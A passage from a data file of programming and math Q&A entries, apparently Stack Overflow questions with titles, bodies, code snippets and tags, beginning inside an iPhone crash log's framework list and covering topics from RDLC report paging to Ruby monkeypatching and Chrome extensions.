TelephonyUI\n armv7 \n \n
/System/Library/PrivateFrameworks/TelephonyUI.framework/TelephonyUI\n 0x3299d000 -
0x329a6fff \n AccountSettings armv7 \n \n
/System/Library/PrivateFrameworks/AccountSettings.framework/AccountSettings\n
0x329bb000 - 0x329c3fff \n MobileBluetooth armv7 \n
<0bd0c65f4350b5d81f81449fae029a04>\n
/System/Library/PrivateFrameworks/MobileBluetooth.framework/MobileBluetooth\n
0x329c4000 - 0x329cafff \n liblockdown.dylib armv7 \n \n
/usr/lib/liblockdown.dylib 0x329cb000\n - 0x32a58fff ImageIO armv7 \n
/System/Library/Frameworks/ImageIO.framework/ImageIO\n 0x32a59000 - 0x32a78fff
Bom armv7 \n \n /System/Library/PrivateFrameworks/Bom.framework/Bom\n 0x32a79000
- 0x32ab9fff \n ManagedConfiguration armv7 \n <94f3f69708e8f008b3f092430f46e4b6>\
n
/System/Library/PrivateFrameworks/ManagedConfiguration.framework/ManagedConfigurati
on\n 0x32aba000 - 0x32ac8fff Notes armv7 \n <56a4dfe587cf5b965edbd6c390ccbf24>\n
/System/Library/PrivateFrameworks/Notes.framework/Notes\n 0x32b34000 - 0x32c56fff
MediaToolbox\n armv7 \n \n
/System/Library/PrivateFrameworks/MediaToolbox.framework/MediaToolbox\n 0x32c5d000
- 0x32c5ffff \n MobileInstallation armv7 \n <74e2bd725da63513053b4fa41d8cd89c>\n
/System/Library/PrivateFrameworks/MobileInstallation.framework/MobileInstallation\n
0x32fab000 - 0x32fb4fff WebBookmarks\n armv7 \n
<3b3f590d3bd1fdf29a14769cbe8dc933>\n
/System/Library/PrivateFrameworks/WebBookmarks.framework/WebBookmarks\n 0x32fcb000
- 0x33009fff libvDSP.dylib\n armv7 \n \n
/System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/
libvDSP.dylib\n 0x33061000 - 0x330a9fff libBLAS.dylib\n armv7 \n
<3b4a2849c10d100a178a3c2d9f6af523>\n
/System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/
libBLAS.dylib\n 0x330aa000 - 0x330adfff \n ApplePushService armv7 \n
<0477bf826cbba75183069e1e80879a99>\n
/System/Library/PrivateFrameworks/ApplePushService.framework/ApplePushService\n
0x330af000 - 0x34259fff UIKit armv7 \n <5bce9024bb5d8754f4477723c84cf3d1>\n
/System/Library/Frameworks/UIKit.framework/UIKit\n 0x3425c000 - 0x34265fff ITSync
armv7 \n \n /System/Library/PrivateFrameworks/ITSync.framework/ITSync\n
0x34266000 - 0x34266fff vecLib armv7 \n <85f89752df7814c1b243c26f59388523>\n
/System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/vecLib\
n 0x3429d000 - 0x3429ffff \n IOMobileFramebuffer armv7 \n
<1fdf9182a63464743901526caf39240a>\n
/System/Library/PrivateFrameworks/IOMobileFramebuffer.framework/IOMobileFramebuffer
\n 0x342a0000 - 0x342a3fff \n libMobileGestalt.dylib armv7 \n
<85f01f53a7455a34fbdedc76bd692d74>\n /usr/lib/libMobileGestalt.dylib\n 0x342d4000
- 0x343f2fff CoreGraphics\n armv7 \n <4022bbf12f11dd1f6b75662c764e7f7c>\n
/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics\n 0x3444d000 -
0x34480fff iCalendar\n armv7 \n \n
/System/Library/PrivateFrameworks/iCalendar.framework/iCalendar\n 0x34497000 -
0x344dcfff IMCore armv7 \n \n
/System/Library/PrivateFrameworks/IMCore.framework/IMCore\n 0x344e1000 -
0x344e4fff \n libGFXShared.dylib armv7 \n <12f82e44ff36b29f8d0661878be83554>\
n /System/Library/Frameworks/OpenGLES.framework/libGFXShared.dylib\n 0x345c4000 -
0x346d1fff \n libSystem.B.dylib armv7 \n <95600851b7aca75450d596a93c51d858>\n
/usr/lib/libSystem.B.dylib 0x348de000\n - 0x348ebfff OpenGLES armv7 \n
/System/Library/Frameworks/OpenGLES.framework/OpenGLES\n 0x348fd000 - 0x349bffff
CFNetwork\n armv7 \n <9fdd61632fd1b48d65daba561528946f>\n
/System/Library/Frameworks/CFNetwork.framework/CFNetwork\n 0x34acc000 - 0x34ad4fff
libkxld.dylib\n armv7 \n <4ec35c4d1e1e73416aea84537829ce91>\n
/usr/lib/system/libkxld.dylib\n 0x34ba0000 - 0x34ddefff \n ProtocolBuffer armv7 \
n <83f1b1c1956ed14bf6f6c7923ee9f2fc>\n
/System/Library/PrivateFrameworks/ProtocolBuffer.framework/ProtocolBuffer\n
0x34df2000 - 0x34df3fff DataMigration\n armv7 \n
<2a90bcfdd519f8d7d3487151c77443ed>\n
/System/Library/PrivateFrameworks/DataMigration.framework/DataMigration\n
0x34df4000 - 0x34e1efff DataAccess\n armv7 \n
<45bf80615cbfaab4d2e29cb923723424>\n
/System/Library/PrivateFrameworks/DataAccess.framework/DataAccess\n 0x34f22000 -
0x34f54fff AddressBook\n armv7 \n <3dde743216bbf016019b59f821dda6e3>\n
/System/Library/Frameworks/AddressBook.framework/AddressBook\n 0x34f55000 -
0x34f66fff \n PersistentConnection armv7 \n <5e827d18f317b5ce7c61c91656ebc88e>\n
/System/Library/PrivateFrameworks/PersistentConnection.framework/PersistentConnecti
on\n 0x3500e000 - 0x3503dfff VideoToolbox\n armv7 \n
<4c4faee61a6e7d80d6d3a58194075642>\n
/System/Library/PrivateFrameworks/VideoToolbox.framework/VideoToolbox\n 0x3504d000
- 0x3504ffff \n CrashReporterSupport armv7 \n \n
/System/Library/PrivateFrameworks/CrashReporterSupport.framework/CrashReporterSuppo
rt\n
0x35073000 - 0x3518cfff \n libicucore.A.dylib armv7 \n \n
/usr/lib/libicucore.A.dylib 0x35215000\n - 0x35218fff CertUI armv7 \n
/System/Library/PrivateFrameworks/CertUI.framework/CertUI\n 0x35238000 -
0x35243fff libz.1.dylib\n armv7 \n <19a78978d5908bedc6496470fe542936>\n
/usr/lib/libz.1.dylib 0x35244000 -\n 0x3532cfff libGLProgrammability.dylib\n
armv7 \n <9bcf5fe3e7abc344425e581ff2896579>\n
/System/Library/Frameworks/OpenGLES.framework/libGLProgrammability.dylib\n
0x35332000 - 0x3536cfff CoreMedia\n armv7 \n <6df383495d1acd2b036ad674a29d75c1>\
n /System/Library/Frameworks/CoreMedia.framework/CoreMedia\n\n", "", "iphone crash
watchdog"], "3656081": ["set number of rows per page in rdlc repot", "I'm trying to
figure out how to display and format reports using local report, report viewer and
rdlc definition.\nCurrent issue, I want to display like 10 or 25 rows per page not
50 or 100.\nI have seen several posts explaining that you add a group, set an
expression and that's all there is too it.\nI have messed with this and after a
while I managed to get a column that was a group of 25 of my rows and displayed the
number of the group. basically after defining my row of columns on a table there's
a little panel that say row group. It has one line that says \"details\" I clicked
on that and \"add parent group\" then entered in the equation that is
recommended. \nHowever, I don't want to see column for an irrelevant group. Let me
see if I can illustrate the result\n0| bob |Jones\n0| Sam |blah\n0| blah|blah\n\n1
| blah | blah\n1 | balh | blah\nsomething like that but there would only be one 0
on the first line and one 1 on the first line of the second group.\nAnyway, is
there some detailed illustration of how to achieve basic page row limitation. It
seems like such a fundamental think I can't imaging why it's so hard. \nAny help or
pointer to a tutorial (NOT MSDN page please) would be greatly appreciated.\nRaif\
n", "", "report paging reportviewer rows rdlc"], "3023314": ["Android ContextMenu
for View (Not Activity)", "I am using the following method to add a to a custom
view i have built but i want to know how to react to the press of that contextmenu.
\nThis is not an Activity so i cannot do this:\n\nHere is the code\n\nUpdate:\nHere
is a very simplified verion of my class.\n\n", "ContextMenu", "android view
contextmenu"], "2429740": ["Best IDE for HTML, CSS, and Javascript for mac", "I'm
currently looking to move to using an IDE for web development. The options I'm
considering are:\n\nAptana Studio\nCoda\nExpresso\n\nPlease base your answers on
the following criteria, in descending order of importance:\n\nSupports HTML, CSS,
JavaScript\nPowerful (having good code completion, good debugger, great syntax
highlighting etc)\nFast and light\nSupports HTML5, CSS3, and major JavaScript
frameworks (JQuery or YUI)\nGreat design (both usability and aesthetics)\nSupports
PHP, Ruby, and Python\nHas Git integrated\n\nI've updated the question to be more
objective. I'm mainly looking for an answer that addresses how well each of the
IDEs addresses my criteria.\n", "", "ide javascript mac html css"], "5152278":
["Using deferred.defer with Python 2.7", "I'm trying to move my App Engine
application to the Python 2.7 runtime.\nI'm seeing the traceback below when
importing the library using SDK version 1.6.5. I have also tried uploading the
application and see a similar error in runtime. \nDoes anyone else use the deferred
library with Python 2.7. Has anyone seen a similar problem?\nEDIT\nTo answer my own
question. My application had its own version of (maybe an old version) removing
this and adding to the libraries section of fixed the problem. Although, I'm not
quite sure why as the traceback seems to show the deferred library importing the
correct version of .\nTraceback:\n...\n\n", "google.appengine.ext.deferred",
"google-app-engine"], "5973661": ["c# relation datarow of current row is null when
saving current row to database", "I have a dataset having three datatables. Second
table has a foreign key of first and third one having a foreign key of second. I am
doing something like below.\n\nWhen saving, drSecond will saved properly.
drThird.dtSecondRow will be null immediately after saving drSecond. When drThird
going to save, it gives fk relationship error exception. I want to save drthrid
with relationship. If anyone can give me a solution, It ll be a great help to me.
Thank you.\n", "dtSecond.Rows.Clear();\nDataRow drSecond = dtSecond.NewRow();\
ndrSecond.dtFirstRow = dtFirst[0]; // dtFirst has atleast one row. dtFirstRow is
the relation\n // row for dtFirst.\
ndtSecond.Rows.Add(drSecond);\n\nDataRow drThird = dtThird.NewRow();\
ndrThird.dtSecondRow = dtSecond[0];\n\ndtThird.Rows.Add(drThird);\n", "datatable
null dataset save datarow"], "1194580": ["Configure Rails application per run and
not per enviroment", "I've got a Rails 3 application with some functionality I've
written that I only wish to be active if I've specified it to be active for that
application start alone.\nI can't see how I would do this with initializers or the
standard configuration strucuture as they are set per environment and and I don't
want to have to go and change a configuration file everytime I want to switch my
functionality on or off.\nIdeally a command-line switch would work great...\n\n...
but I can't see anyway of making this work in Rails as it simply throws out my
custom argument as unknown.\nI'm using JRuby to run my application, but I don't
believe there is anything extra that is gives me to help with this.\nAny way around
this or anyone come up with a neater solution for per start configuration?\nCheers\
n", "rails server -run_my_functionality=true\n", "ruby-on-rails ruby-on-rails-3
jruby"], "4471956": ["Drag-and-drop with ChromeDriver", "I want to do drag-and-drop
with ChromeDriver. The only WebDriver way of doing drag-and-drop I found is using
the \"advanced user interactions API\". Unfortunately, the ChromeDriver
documentation has the following \"known issue\":\n\nAdvanced user interactions API
not implemented\n\nIs there a way to perform drag-and-drop without the advanced
user interactions API?\n[Details: I'm using the Python bindings of WebDriver
(version 2.17), and Chrome 16 on Mac OS 10.7.]\n", "", "python selenium webdriver
selenium-chromedriver"], "5232810": ["Is there an algorithm for determining the
relevance of a text to a theme?", "I want to know what can be used to determine the
relevance of a page for a theme like games, movies, etc.\nIs there some research in
this area or is there only counting how many times some relevant words appear?\n",
"", "nlp information-retrieval text-mining relevance"], "245525": ["How to center
the y-axis label horizontally in Highcharts?", "I have set the y-axis label
to \"align: high\", that is it appears on top of the y-axis, horizontally. Now, as
my title goes on two lines, I'd like to center the y-axis label. I tried it
with \"yaxis: { title { style { text-align: center}}}\" and tried as well to put
some CSS into the title. But it doesn't work.\nHas anyone a tip for me? Thanks a
lot!\n", "", "label highcharts axis"], "4421073": ["Can I split up my Capistrano
capfile?", "I've got a capfile that has a role defined at the top of it, with a
bunch of tasks below. It works great, but I want to be able to easily (and
programatically) update the machines in the roles list. I know I could do it in
place, but to be safe, I'd like to be able to split out my capfile into
(essentially) two files: hosts and tasks\nCurrently (generically):\n\nI'd like to
be able to have something like the following (ignore the \"syntax\"):\n\nIs there a
way to break the capfile up? Or would I need to dive into source to do that?\n",
"role :machines,\n\"machine1\",\n\"machine2\"\n\ndesc \"This is task 1\"\
ntask :task1 do\n # stuff\nend\n", "capistrano"], "611961": ["java.home property
adds extra slashes when it it written to a property file?", "As per my
understanding, java.home is a ANT built-in property. In our scenerio, we write the
value of java.home to a another property file in the same project . Hovewer, we
observed that when we write the value of java.home to the aforesaid property file,
the value is written with additional slashes(e.g: \u2018d:/jdk1.6.0_12\u2019 value
is written to aforesaid property file as \u2018d\\:\\\\jdk1.6.0_12\\\\jre\u2019)
and these additional slashes are causing issues in our system.\nSo, I need your
suggestion/help/input to know 1) if there is a way to write java.home to another
property file without additional slashes OR 2)if there is a way to write script in
ANT build file such that when java.home property will be read from aforesaid
property file which containss additional slashes, the script will chop-off
unwanted/additional slashes and will return the exact path to java.home .\n", "",
"java ant backslash"], "5178013": ["DFS File Storage and XenServer VMs on iSCSI
Target with Two, Cross-Country locations", "I am planning on deploying a NAS/iSCSI
target cluster of two Dell NX3100 servers running Windows Server 2008 R2. \nHere
are some of the environment details currently:\n\nI have two office locations on
opposite sides of the US that will host one of these NAS/iSCSI target servers each.
\nThe locations will also have XenServer hosts at each location. Each site has a
DC/DNS XenServer VM, amongst others.\n\nMy questions are as follows: \n1.) Is a
point-to-point connection or site-to-site VPN more suited for this setup? Maybe a
third connectivity solution?\n2.) I plan on using half of the array on the NX3100
servers as iSCSI targets for location-respective XenServer VHDs. I mean to run the
VMs off of their local NX3100, but backup/snapshot to the off-site NX3100 for
disaster recovery. \n3.) Are these ideas silly/unfeasible?
What are some foreseeable problems or misunderstandings I may have with this
environment?\n", "", "windows-server-2008 nas iscsi xenserver"], "2737658": ["Click
Event in Canvas / SVG", "I am playing around with HTML5 Canvas to develop an
interactive personal website.\nI created a canvas 400x200 and then put a background
image on it. Now on top of the BG Image, I have placed 5 more images. Now, my
requirement is, depending on the image clicked I want to 1, display a text outside
of the canvas, and 2, grey out the other 4 images (more in an animated form). \nI
am able to accomplish till displaying the images, I am unable to create a click
event action. Is it because the whole canvas is treated as one single image? if so
would using #usemap work? I tried adding a addEventListener event but nothing is
happening.\nis there a easier way in SVG to accomplish the same?\nThanks for any
pointers.\n", "", "html5 canvas"], "1449897": ["Is it possible to populate a google
form from a google spreadsheet?", "I'd like to create a form that uses the data
from the spreadsheet, so that it's dynamic. Is it possible to do this? I haven't
been able to find anywhere that describes how, or any examples.\nAll that seems
possible is to populate a spreadsheet from a form, which I'll also use but its not
the primary concern here.\n", "", "forms google spreadsheet google-docs"],
"4391169": ["Is the intersection of a closed set and a compact set always
compact?", "I am going through Rudin's Principles of Mathematical Analysis in
preparation for the masters exam, and I am seeking clarification on a corollary.\
nTheorem 2.34 states that compact sets in metric spaces are closed. Theorem 2.35
states that closed subsets of compact spaces are compact. As a corollary, Rudin
then states that if $L$ is closed and $K$ is compact, then their intersection $L \\
cap K$ is compact, citing 2.34 and 2.24(b) (intersections of closed sets are
closed) to argue that $L \\cap K$ is closed, and then using 2.35 to show that $L \\
cap K$ is compact as a closed subset of a compact set.\nAm I correct in believing
that this corollary holds for metric spaces, and not in general topological
spaces?\n", "", "real-analysis general-topology metric-spaces"], "5416619": ["Poor
performance on multisite install", "I have my multisite site up and running the
main site is mikewills.me. The big problem I am having is performance. It can take
several seconds before anything starts showing up. Obviously, this is unacceptable.
\nI have seen some tips like adding to the header. I am using the the delivered
twenty ten theme. The back-end is also running slow. I am trying to determine if it
is the host I am using or if it's something that I have configured wrong. Is there
any additional things I can look at that may be needed in a shared host
environment?\n", "<?php flush(); ?>", "multisite performance"], "3977901": ["What
are the possible causes of this error: \"Unable to > connect to
ssl://smtp.gmail.com:465\"?", "I'm getting this error on my local machine when
sending emails using (gmail's smtp + PHPMailer + CodeIgniter), which I wasn't
getting on our previous office (we had to move offices).\n\nSeverity: Warning\
nMessage: fsockopen()\n [function.fsockopen]:\n php_network_getaddresses:
getaddrinfo\n failed: Temporary failure in name\n resolution\nSeverity: Warning\
nMessage: fsockopen()\n [function.fsockopen]: unable to\n connect to
ssl://smtp.gmail.com:465\n (php_network_getaddresses: getaddrinfo\n failed:
Temporary failure in name\n resolution)\n\nAdditional info:\n\nI already asked our
sysad to open port 465, but I'm still getting the error\nI tested the same app
deployed in another server and it is working there\nI didn't change any
configurations in my local machine\nI already forwarded the outside interface's
port 465 to my machine's IP\nOpened accesses to port 465 to my IP\n\nI was
wondering whether this error has something to do with the change in the network
setup. What are the possible causes of this error? Also, what are the possible
solutions?\nEdit: \n\nresults to\n\nEdit\n\nresults to\n\nEdit\n\nresults to\n\
nEdit From this link (http://bugs.php.net/bug.php?id=11058) posted by sh1ny, it was
mentioned that restarting apache fixes the problem. It worked for me. But I still
do not understand why. Got clues?\n", "telnet smtp.gmail.com 465\n", "php ssl smtp
gmail codeigniter"], "4857037": ["line breaks </br> not recognised on a 4.3
simulator. its OK using 5.1 simulator", "I built a Phonegap app using 5.1 SDK. When
running my app using 5.1 simulator, LINE BREAKS are recognised. But for some
reason, when running my app on a 4.3 simulator, it doesnt work.\n(phonegap version
1.9, jqm 1.1, jquery 1.7)\n\nHelp?\n", "formatedAdd = \"Current location: </br >\"
+ results[0].formatted_address;\n", "phonegap ios4 ios-simulator"], "5632473":
["Problem either adding to or traversing a linked list", "I have a problem either
adding to or traversing a linked list. The main item class is used by another class
but I can add the correct number of these but it looks like when I add more data to
the list the app no longer works.\nI am not sure exactly where the error is. I know
that when I try to traverse the list the application crashes. Any ideas or any
improvements would be appreciated.\nI can make the crash not happen by changing the
AddOccurence method to not do the while loop.\nDo \n\ninstead of\n\nBasically
hitting the first node but no more.\nI have an object that contains a list.\nHere
is the .h file\n #include \n using namespace std;\n\nAnd the .cpp file\n\
nEDIT:\nI updated AddOccurence to be.\n\nBut I am still crashing. I am trying to
debug but not sure what to look for.\n", "void Item::AddOccurence(int Item,int
placeInLine){\n ItemOccurence* ocr=myHead;\n if(ocr)\n {\n\n }\n", "c++
linked-list"], "5559815": ["A Good JAVA library to parse HTML, POST AND GET HTTP
suitable for Mobile?", "I'm making an android client for a web site. my app have to
go through the website, parse HTML, post some forms, send HTTP requests etc.\nWhat
library covering all this stuff you recommand me to use ?\nthanks.\n", "", "java
android post android-parser"], "1774890": ["When i send a sms to a person how do i
get the other users location in return?", "The code shows below what i have done
till now. Now what i need to do is, when i send an sms to the person i get his
location back and that too i want to show the location on google map!! \nManifest\
n\nMain.java\n\nHelloworld.java\n\nIf anything else is required let me know.\n",
"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest
xmlns:android=\"http://schemas.android.com/apk/res/android\"\
npackage=\"com.mehul.googlemaps\"\nandroid:versionCode=\"1\"\
nandroid:versionName=\"1.0\" >\n\n<uses-sdk android:minSdkVersion=\"8\" />\n<uses-
permission android:name=\"android.permission.INTERNET\"/>\n<uses-permission
android:name=\"android.permission.ACCESS_FINE_LOCATION\"/>\n<uses-permission
android:name=\"android.permission.ACCESS_COARSE_LOCATION\"/>\n<uses-permission
android:name=\"android.permission.SEND_SMS\"/>\n<uses-permission
android:name=\"android.permission.RECEIVE_SMS\"/>\n\n<application\n
android:icon=\"@drawable/ic_launcher\"\n android:label=\"@string/app_name\"> \
n\n <uses-library android:name=\"com.google.android.maps\" />\n <activity\n
android:name=\".Main\"\n android:label=\"@string/app_name\" >\n
<intent-filter>\n <action android:name=\"android.intent.action.MAIN\"
/>\n\n <category android:name=\"android.intent.category.LAUNCHER\" />\n
</intent-filter>\n </activity>\n <activity android:name=\".HelloWorld\" />\n\
n</application>\n\n</manifest>\n", "android sms broadcastreceiver receive"],
"696562": ["Oracle Driver Installation", "I am having Oracle 10g installed on my
laptop and have downloaded ojdbc14.jar driver for the same. The problem is, my
operating system is Windows 7, and I'm not having option to create a Data Source
for Oracle since I m not having oracles driver installed. I m having option to
create a Data Source for SQL server 6, but I want to get connected to Oracle.
Please Help.\n", "", "oracle10g jdbc"], "4972553": ["iPhone: UIScrollView not
scrolling when adding item via IB", "I'm trying to make a very simple scrolling
page via IB. What I've got is a UIImageView at the top and 2 UIImageViews at the
bottom, with a UITextView in the middle. I've disabled the scrolling in the
UITextView as I won't the whole page to scroll up and down including the
UIImageViews.\nCan anyone tell me why the UIScrollView won't scroll up and down?
All of the items above are subviews of UIScrollView via IB.\n", "", "iphone
uiscrollview"], "5313196": ["Google App Script to trigger email", "I'm trying to
get an email to fire alerting me if a column in a Google Sheet =X.\nI've tried
using the notification system using using the EQ operator to turn on when a cell
equals X, this changes a cell and the notification system is supposed to send an
email right away. It's not working that way, the email never fires.\nI'm think I
need a script that would fire an email if a cell =X which would be nice because I
could customize the email so it made more sense. (i.e. \"The conference room your
event is being held has reached capacity, you should remove it from the reservation
form\")\nI am new to Google Scripts and could use a little help creating the email
trigger if cell =X script.\nThanks,\nDave\n", "", "email triggers google-apps-
script"], "4927198": ["Flex - How to run a swc in Flex?", "I want to use a Flash
swc in a Flex Project. I almost did it, but the MovieClip imported dont run. It
stays static. How can I start it? D:\n", "", "flash flex adobe builder swc"],
"3424978": ["Blinking background cell in a model", "I\u00e1m confused about the
setData en data methods for my custom
role (IsBlinkingRole).\nI try different options but every option failled.\n\n}\n\
n}\nThanks cjhuitt for your time and advice.\nIf i can't solved this then i let the
blinking cell for what it is.\nFirst of all my apology for asking three times the
same question.\nI\u00e1m new in stackoverflow. \nThe problem i have with the
setData method wat kind of code i need to put here.\nMust i first create a
container for storage data ? \nThank in advance. \n", "bool
CustomSqlModel::setData( const QModelIndex& index, const QVariant& value, int
role)\n{\nif (role == IsBlinkingRole && index.column() == 0 && index.isValid()) {\n
//What to put here ?\n\n emit dataChanged(index, index);\n return true;\n}\nreturn
false;\n\n\n\nQVariant CustomSqlModel::data(const QModelIndex& index, int role)
const\n {\nQVariant value = QSqlTableModel::data(index, role);\nif (role ==
Qt::BackgroundRole && index.column() == 0) {\n QModelIndex testIndex =
index.model()->index(index.row(), 0, index.parent());\n if ( index.model()-
>data(testIndex, Qt::DisplayRole).toInt() == 5)\n return
QVariant(QColor(Qt::red));\n else\n return QVariant();\n}\nreturn value;\n",
"qt"], "6006378": ["iPhone App Minus App Store?", "I've been looking into iPhone
development, but I've been having problems coming up with the answer to a certain
question.\nIf I create an application on my Mac, is there any way I can get it to
run on an iPhone without going through the app store?\nIt doesn't matter if the
iPhone has to be jailbroken, as long as I can still run an application created
using the official SDK. For reasons I won't get into, I can't have this program
going through the app store.\nThanks for any help you can give!\n", "", "iphone ios
app-store appstore-approval"], "3909885": ["Gradient vector function using sum and
scalar", "Could someone take a look on my attempt to compute the gradient for:\n$
$f(x) = \\lambda \\sum_{x = 1}^n g(x_i)$$\nWhere $x \\in \\mathbb{R^d}$, $\\
lambda \\in \\mathbb{R}$ and\n$$g(x_i) = \\begin{cases}\nx_i - \\varepsilon/2 & \\
textbf{if } |x_i| \\geq \\varepsilon\\\\\nx_i^2 / (2\\varepsilon) & \\textbf{if } |
x_i| < \\varepsilon\\\\\n\\end{cases}$$\nThis is what I have done so far:\nThe
function $g(x_i)$ is not differentiable if $x = -\\varepsilon$, for the rest:\n$$\
n\\frac{\\partial}{\\partial\\beta_i}\\sum_{i=1}^n g(x_i)=\n\\begin{cases}\n1&|
x_i|\\ge\\epsilon\\;,\\\\\nx_i/\\epsilon&|x_i|\\lt\\epsilon\\;.\n\\end{cases}\n$$\
nFor $f(x)$ I would apply the product rule:\n\\begin{align*}\n\\frac{\\partial}{\\
partial x} f(x) &= (\\frac{\\partial}{\\partial x} \\lambda) \\cdot \\sum_{x = 1}^n
g(x_i) + \\lambda \\cdot (\\frac{\\partial}{\\partial x} \\sum_{x = 1}^n
g(x_i))\\\\\n&= 0 \\cdot \\sum_{x = 1}^n g(x_i) + \\lambda \\cdot (\\frac{\\
partial}{\\partial x} \\sum_{x = 1}^n g(x_i))\\\\\n&= \\lambda \\cdot \\frac{\\
partial}{\\partial x_i} \\sum_{x = 1}^n g(x_i)\n\\end{align*}\nIf this is correct,
then my question is of which domain is then $\\frac{\\partial}{\\partial x} f(x)$?\
nEither it is $\\mathbb{R}^n$ or $\\mathbb{R}$. I am not sure, for the fact, that
this is a gradient I would say $\\mathbb{R}^n$, but how are then the components of
the resulting vector computed?\n$$\\begin{pmatrix}\n???\\\\\n???\\\\\n\\vdots\\\\\
n???\n\\end{pmatrix}$$\n", "", "homework matrices derivatives vector-analysis"],
"2382619": ["Checking if SOAP has been installed on a CentOS with Directadmin",
"How should I check that and how should I install it?\nI don't think can help, is
that true?\n", "phpinfo()", "centos installation php-extensions soap direct-
admin"], "3496602": ["Fetch partial string matched html tag using xpath", "The html
code is blind and It contains the string \"PRICE\" in html. That partial string
has to be matched with html text.If the text matches(partial match) using xpath.It
should return the particular html tag path.\nNote: I need to automate this logic
for multiple sites.I should have to use the generic rule\n(For
locating \"Price\",Fetching Parent tag) \nThis is example:\n\nI used lxml \n\nHow
it would be written using Xpath expression?\nI just need to get the div class path
using xpath expression.\nAlso The problem is if I locate the \"PRICE:\" string.\nI
should have to get the parent valid tag that is \"div\" with class
name \"price_class\".\nbut here i should have to skip or remove the unwanted tags
like font,bold,italic...\nCould you please suggest me to get the parent valid tag
of the located string?\n", "html=\"\"\"<div id = \"price_id\">\n <span id
= \"id1\"></span>\n <div class=\"price_class\">\n <bold>\n <strong>\n
<label>PRICE:</label> 125 Rs.\n </bold>\n </strong>\n </br>\n
</br>\n\n</div>\"\"\"\n", "python xpath html-parsing lxml"], "2814591": ["How can
you influence the sequence in which Ruby code is loaded?", "Let's say your coworker
monkeypatches the Fixnum class and redefines the + method to subtract instead of
add:\n\nYour problem is you want to access the original functionality of the +
method. So you drop this code in before his in the same source file. It aliases the
+ method to \"original_plus\" before he monkeypatches it.\n\nNow you can access the
original functionality of the + method through original_plus\n\nBut what I need to
know is this: \nIs there any other way of loading this alias BEFORE his monkeypatch
loads besides sticking it into the same source file that he modified? \nThere are
two reasons for my question:\n\nI may not want him to know that I have done this\
nIf the source file is altered so that the alias ends up BELOW the monkeypatch,
then the alias will no longer produce the desired result.\n\n", "class Fixnum\n
def +(x)\n self - x\n end\nend\n\n>> 5 + 3\n=> 2\n", "ruby monkeypatching"],
"2389025": ["Google Chrome Extension Confusion", "so I am developing a google
chrome extension for my chromebook. The idea is to make a \"magnifying\" type of
effect wherever the mouse goes on the current webpage in order to zoom in on
text/images or whatever the mouse hovers.\nI have the code for this effect working
on a webpage, it does exactly what I want.\nWhere I'm confused is how to integrate
this to a chrome extension. I would want an extension like button to show up in
the upper right corner of the chrome browser and then you can click it and then
a \"box or magnifying glass\" would appear and then you could click and drag it
around the page. The box would go away if you clicked the extension button again.\
nThis is what I know after a bit of online searching...\n - I need a
manifest.json file, my current file looks like this...\n\n}\n\nI've tried a few
different things, but i'm sure I have a few things that I don't need.\nAlso you can
go to http://www.supertecho.com/background.html in order to see what the current
code is for my magnification idea.\nI have a popup.html file but I'm not sure if
the popup.html or the background.html code would be more necessary or not (or maybe
both is needed).\n\nLet me know if I am unclear about things and I will clarify!\
nThanks a lot in advance :-)\n", " {\n\"name\": \"magnify\",\
n\"version\": \"1.0\",\n\"description\": \"This will magnify an area where the
mouse hovers\",\n\n\"browser_action\": {\n\"popup\": \"popup.html\",\
n\"default_icon\": \"magnify.png\"\n},\n\n\"content_scripts\": [{\n \"matches\":
[\"http://*/*\"],\n \"css\": [\"magnify.css\"],\n \"js\": [\"magnify.js\"],\
n \"run_at\": \"document_end\",\n \"all_frames\": true\n}],\n\
n\"background_page\": \"background.html\"\n", "google-chrome-extension"],
"5105285": ["how to jump to particular section of scrollView", "Hello Guys:\nI have
a scrollView in which I've populated some uibuttons horizontally. The buttons
actually have my text content in their title and are arranged alphabetically. As
the content is quite much so user have to scroll n scroll if he wants to get
to \"H\" from \"A\", I wanna know that how can i enable user to jump to a
particular area depending on alphabet sorting.. like that happen in contacts app.
There 'll be alphabets written and when user hits any alphabet scrollView scrolls
to the first button starting with that character. Any ideas ....\n", "", "iphone
objective-c sorting uiscrollview"], "97164": ["Understanding httpGetEnabled and Mex
binding", "In a WCF service, I have removed the default Mex binding and I have set
the httpGetEnabled attribute in the default service behaviour to false.\nWith this
my understanding is that the service would not allow downloading of WSDL. However,
the service's existing clients would work without trouble.\nNow, when I browse to
the .svc in Internet Explorer, it advices 3 things to help me see the structure
of .svc file.\n\nCreate a behaviour for the service.\nIn the serviceMetadata
element, create httpGetEnabled attribute and set it to true.\nCreate a mex binding
end point. i.e \n\n\nNow let me come to my question.\nWhen I just make the
httpGetEnabled=\"true\", I am able to download the WSDL.\nI can't see the
significance of mex endpoint here. \nWhat is the real significance of mex end point
here? What is the need for creating a mex end point when just httpGetEnabled gives
me option to download WSDL?\n", "<endpoint address=\"mex\"
binding=\"mexHttpBinding\" contract=\"IMetadataExchange\" />\n", ".net wcf wsdl"],
"2831544": ["Memcache doesn't work in xampp. Class 'Memcache' not found", "I did
absolutely everything what is written in here:
http://www.leonardaustin.com/technical/how-to-install-memcached-on-xampp-on-
windows-7\nI see now in task manager that memcache server is running, I refreshed
apache and so on, but I still get an error . \nWhat should I do? Maybe there is an
error in the tutorial?\nI am on the Vista 32\n", "Class 'Memcache' not found", "php
apache memcached xampp"], "1073103": ["Specify NullConstraint on Entity Table using
eclipselink", "To specify a UniqueConstraint on multiple columns, i use the
@Table annotation and specify the value for uniqueConstraint.\nI would also like
to add a null constraint based on this scenario:\n\nAn entity can either be in a
phoneBook, or in a group but not both, since a group already has a reference to
phonebook it belongs to. In this case, both phonebook and group must both not be
null and must both not be set, only one can be set at a time.\nWorking on netbeans
7.2, glassfish 3.2 eclipselink 2.0\nThanks.\n", "@Entity\npublic class Contact{\n
private PhoneBook phoneBook;\n private ContactGroup group;\n}\n", "java jpa
persistence eclipselink"], "4211155": ["Klenke's proof for \"Kernel via a
consistent family of kernels\"", "I'm trying to understand a proof in Achim
Klenke's textbook Probability Theory: A Comprehensive Course (Springer, 2008). The
proof in question is the one for Theorem 14.42, \"Kernel via a consistent family of
kernels\" (pp. 289-290).\nThe proof proceeds in two steps: (1) Show existence of
